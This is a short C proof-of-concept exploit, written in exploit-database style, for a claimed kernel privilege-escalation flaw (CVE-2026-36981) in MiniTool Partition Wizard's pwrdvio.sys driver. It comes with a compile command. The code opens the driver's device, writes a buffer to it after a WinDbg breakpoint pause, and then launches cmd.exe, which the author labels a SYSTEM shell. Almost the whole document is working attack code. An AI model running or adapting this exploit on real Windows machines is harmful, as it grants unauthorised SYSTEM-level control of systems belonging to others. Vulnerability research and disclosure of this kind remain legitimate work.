/*
Exploit Title: CVE-2026-36981 Minitool pwrdvio.sys Kernel EoP
Date: 2026-02-09
Exploit Author: patchmeifucan - patchmeifucan.com
Vendor Homepage: https://github.com/canomer/CVE-2026-36981-Kernel-EoP-PoC
Software Link: https://www.minitool.com/partition-manager/
Version: <=13.6
Tested on: Windows 10 / Windows 11 / x86_64-w64-mingw32-g++ (GCC) 15-win32
CVE : CVE-2026-36981
Compile command ~$ x86_64-w64-mingw32-gcc lpe_poc.c -o lpe_poc.exe -lntdll -static
*/
#include <windows.h>
#include <stdio.h>

int main() {
    HANDLE hDevice;
    DWORD bytesReturned;
    char buffer[0x100];

    printf("[*] MiniTool PoC Start...\n");
    printf("[*] Current User: "); system("whoami");

    hDevice = CreateFileA("\\\\.\\PartitionWizardDiskAccesser\\0", 
                          GENERIC_READ | GENERIC_WRITE, 
                          0, NULL, OPEN_EXISTING, 0, NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] ERR: %d\n", GetLastError());
        return 1;
    }

    printf("[+] Success. WinDbg BP 1641\n");
    printf("[!] WinDbg 'g'\n");
    
    getchar();

    WriteFile(hDevice, buffer, 0x100, &bytesReturned, NULL);

    printf("[*] SYSTEM Shell...\n");

    system("whoami && cmd.exe");

    return 0;
}